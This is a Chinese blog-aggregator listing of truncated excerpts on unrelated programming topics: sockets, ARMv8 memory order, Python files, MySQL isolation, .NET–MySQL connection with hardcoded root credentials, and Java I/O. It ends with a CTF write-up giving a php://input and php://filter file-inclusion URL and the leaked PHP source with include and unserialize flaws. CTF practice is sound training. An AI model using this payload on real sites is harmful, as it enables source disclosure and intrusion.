read

QT分析之网络编程

≡放荡痞女 提交于 2020-01-23 03:49:54
原文地址:http://blog.163.com/net_worm/blog/static/127702419201002842553382/ 首先对Windows下的网络编程总结一下: 如果是服务器,其WinSDK调用分别为: 1 WSAStartup() -> socket() -> htons() / htonl() -> bind() -> listen() -> accept() -> recv() / send() -> closesocket() -> WSACleanup() 如果是客户端程序,其调用序列为: 1 WSAStartup() -> socket() -> htons() / htonl() -> connect() -> recv() / send() -> closesocket() -> WSACleanup() 前面转贴的客户端(WinSocket温习)程序中,收到信息就在console打印出来然后退出了;在一般的应用中,通常是要一直等待收发消息的,直到程序确认退出才关闭socket。如果用一个轮询就会占用很多的CPU资源,所以很多嵌入式设计中会用一个WaitForMultiObject调用,等待退出命令或者超时,然后退出或进行下一轮信息接受。在Windows平台下也有一些比较高明的设计,使用异步socket,然后用异步选择的办法

ARMV8体系结构简介:AArch64应用级体系结构之Memory order

孤街醉人 提交于 2020-01-22 02:10:03
1.前言 2.基本概念 Observer 可以发起对memory read/write访问的都是observer; Observability 是一种观察能力,通过read可以感知到别的observer的write,通过感知到别的observer的read而不能write的这种能力; observed write 观察到了某个observer的write动作; locally observed write 是限定在一个shareability domain内部,或者指定的一个observer的集合都观察到了某个observer的write动作; observed read 当某个observer无法通过write操作来影响另一个observer的read操作的时候,我们就认为该observer已经感知到了另一个observer的read操作; globally observed read 就是一个shareability domain内所有的observers都观察到了一个observer的read操作; completion 内存访问指令完成 3. 访存指令完成的条件 内存访问指令完成,需满足如下条件: (1)该内存访问操作被特定的shareability domain内的所有的observer globally observed (2

【Python】文件

人走茶凉 提交于 2020-01-22 00:53:03
目录 01.文件的基本操作 1.1 操作文件 1.2 操作文件的函数/方法 1.3 读取文件 2.4 打开文件的方式 02.文件的复制 2.1 小文件的复制 2.2 大文件的复制 01.文件的基本操作 1.1 操作文件 在计算机中操作文件的套路是分为三个步骤: 1)打开文件 2)读/写文件 3)关闭文件 1.2 操作文件的函数/方法 序号 函数/方法 说明 1 open 打开文件,并且返回文件操作对象 2 read 将文件读取到内存 3 write 将指定内容写入文件 4 close 关闭文件 open 只负责打开文件,并且返回文件对象 read/write/close 三个方法都需要通过文件对象来调用 1.3 读取文件 1.3.1 read方法(一次性读取) read 方法读取文件需要注意一下几点: 1) open 函数的第一个参数是要打开的文件名(文件名区分大小写) 2) read 方法一次性读取文件所有内容并返回 3) close 只负责关闭文件,如果忘记关闭文件,则会造成 资源浪费 或者 影响后续对文件的访问 # 打开文件,指定编码格式,避免无法读取中文 f = open("a.txt",encoding="utf-8") # 读取文件 content = f.read() print(content) # 关闭文件 f.close() 小提示: 开发过程中,通常会先编写

浅析Mysql的隔离级别及MVCC

只谈情不闲聊 提交于 2020-01-20 12:39:25
一、Mysql的四个隔离级别 预备工作: 先创建一个test数据库及account表, create database test;use test; create table account( id int not null, balance float not null, PRIMARY KEY ( id) ) 向account中插入两条测试数据 INSERT INTO table(id,balance) VALUES (1,1000); INSERT INTO table(id,balance) VALUES (2,1000);    开启两个控制台窗口,当做两个用户(A和B) 1.1 READ UNCOMMITTED(未提交读) 也即RU,在READ UNCOMMITTED级别,事务中的修改,即使没有提交,对其他事务也都是可见的。事务可以读取未提交的数据,这也被称为脏读(Dirty Read)。这个级别会导致很多问题,从性能上来说,READ UNCOMMITTED不会比其他的级别好太多,但却缺乏其他级别的很多好处,除非真的有非常必要的理由,在实际应用中一般很少使用。 A用户操作如下: set session transaction isolation level read uncommitted; start transaction; select * from

.Net和MySQL链接 学习日志

三世轮回 提交于 2020-01-20 03:38:53
1. 使用控制台程序 2.net工程和MySQL链接 1导入dll Program.cs static void Main ( string [ ] args ) { //等待用户的输入,或ctrl+f5程序运行到最后也会暂停 Console . Read ( ) ; } 2建立连接 static void Main ( string [ ] args ) { string connectStr = "server=127.0.0.1;port=3306;database = gamebd;user=root;password=root" ; MySqlConnection c = new MySqlConnection ( connectStr ) ; try { //试着运行这里的代码 c . Open ( ) ; Console . WriteLine ( "已经建立连接" ) ; } catch ( Exception e ) { //如果报错执行这里 Console . WriteLine ( e . ToString ( ) ) ; } finally { c . Clone ( ) ; } //等待用户的输入,或ctrl+f5程序运行到最后也会暂停 Console . Read ( ) ; } 3执行数据库命令MySQLDataReader static void

Java--字符流

99封情书 提交于 2020-01-19 04:48:59
字符输入流【Reader】 java.io.Reader 抽象类是表示用于读取字符流的所有类的超类,可以读取字符信息到内存中。它定义了字符输入 流的基本共性功能方法。 public void close() :关闭此流并释放与此流相关联的任何系统资源。 public int read() : 从输入流读取一个字符。 public int read(char[] cbuf) : 从输入流中读取一些字符,并将它们存储到字符数组 cbuf中 。 FileReader类【Reader】 java.io.FileReader 类是读取字符文件的便利类。构造时使用系统默认的字符编码和默认字节缓冲区 小贴士: 字符编码:字节与字符的对应规则。Windows系统的中文编码默认是GBK编码表。 idea中UTF-8 字节缓冲区:一个字节数组,用来临时存储字节数据 FileReader(File file) : 创建一个新的 FileReader ,给定要读取的File对象 FileReader(String fileName) : 创建一个新的 FileReader ,给定要读取的文件的名称 public class FileReaderConstructor throws IOException { public static void main ( String [ ] args ) { //

java BIO(阻塞IO,即传统IO)分析

核能气质少年 提交于 2020-01-18 22:33:02
对于java 传统的BIO来说,究竟存在哪些缺点呢? 首先需要理解的是,对于传统的java io来说,总体上是一个连接一个线程,都会说这样的服务器处理方式效率不高而且浪费资源,那么究竟是怎么回事儿呢? 源码地址:https://github.com/50mengzhu/learnIo 解读一下BIO的流程—— 首先由服务器端开启一个Socket监听固定端口,等待客户端连接 等到和客户端线程建立连接,从连接中的数据流中等待读取数据 客户端下线之后,服务器的线程随之终止 package com.dx.bio; import static com.dx.io.NetConstants.NET_BUFFER; import static com.dx.io.NetConstants.SERVER_PORT; import java.io.IOException; import java.io.InputStream; import java.net.ServerSocket; import java.net.Socket; import java.nio.charset.StandardCharsets; import java.util.concurrent.ExecutorService; import java.util.concurrent.LinkedBlockingDeque;

刷题之旅第3站,论剑场web21

╄→гoц情女王★ 提交于 2020-01-18 21:05:20
web21 F12看一下 看了一下,应该是代码审计的题,使用php伪协议,进行post 以及文件包含漏洞。 http://123.206.31.85:10021/?user=php://input&file=php://filter/read=convert.base64-encode/resource=index.php 爆出了index.php源码 在这里插入代码片 <?php error_reporting ( E_ALL & ~ E_NOTICE ) ; $user = $_GET [ "user" ] ; $file = $_GET [ "file" ] ; $pass = $_GET [ "pass" ] ; if ( isset ( $user ) && ( file_get_contents ( $user , 'r' ) === "admin" ) ) { echo "hello admin!<br>" ; if ( preg_match ( "/f1a9/" , $file ) ) { exit ( ) ; } else { include ( $file ) ; //class.php $pass = unserialize ( $pass ) ; echo $pass ; } } else { echo "you are not admin ! " ; }